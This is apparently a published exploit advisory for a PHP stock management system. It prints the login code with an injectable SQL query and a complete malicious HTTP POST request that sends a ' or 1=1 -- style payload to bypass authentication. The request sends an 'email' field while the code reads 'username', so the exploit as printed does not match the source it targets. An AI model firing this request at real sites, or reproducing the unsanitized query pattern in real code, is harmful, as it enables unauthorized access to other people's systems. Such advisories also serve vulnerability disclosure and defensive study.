# Exploit Title: Stock Management System 1.0 - Authentication Bypass
# Exploit Author: Adeeb Shah (@hyd3sec)
# Date: August 1, 2020
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4

# Vulnerable Source Code


if($_POST) {    

  $username = $_POST['username'];
  $password = $_POST['password'];

  if(empty($username) || empty($password)) {
    if($username == "") {
      $errors[] = "Username is required";
    } 

    if($password == "") {
      $errors[] = "Password is required";
    }
  } else {
    $sql = "SELECT * FROM users WHERE username = '$username'";
    $result = $connect->query($sql);

    if($result->num_rows == 1) {
      $password = md5($password);
      // exists
      $mainSql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
      $mainResult = $connect->query($mainSql);

      if($mainResult->num_rows == 1) {
        $value = $mainResult->fetch_assoc();
        $user_id = $value['user_id'];

        // set session
        $_SESSION['userId'] = $user_id;

        header('location: http://localhost/stock/dashboard.php');  
      } else{
        
        $errors[] = "Incorrect username/password combination";
      } // /else
    } else {    
      $errors[] = "Username doesnot exists";    
    } // /else
  } // /else not empty username // password
  
} // /if $_POST
?>


# Malicious POST Request to https://TARGET/stock/index.php HTTP/1.1
POST /stock/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222.132/stock/
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
DNT: 1
Connection: close
Cookie: PHPSESSID=j3j54s5keclr8ol2ou4f9b518s
Upgrade-Insecure-Requests: 1

email='+or+1%3d1+--+admin&password=badPass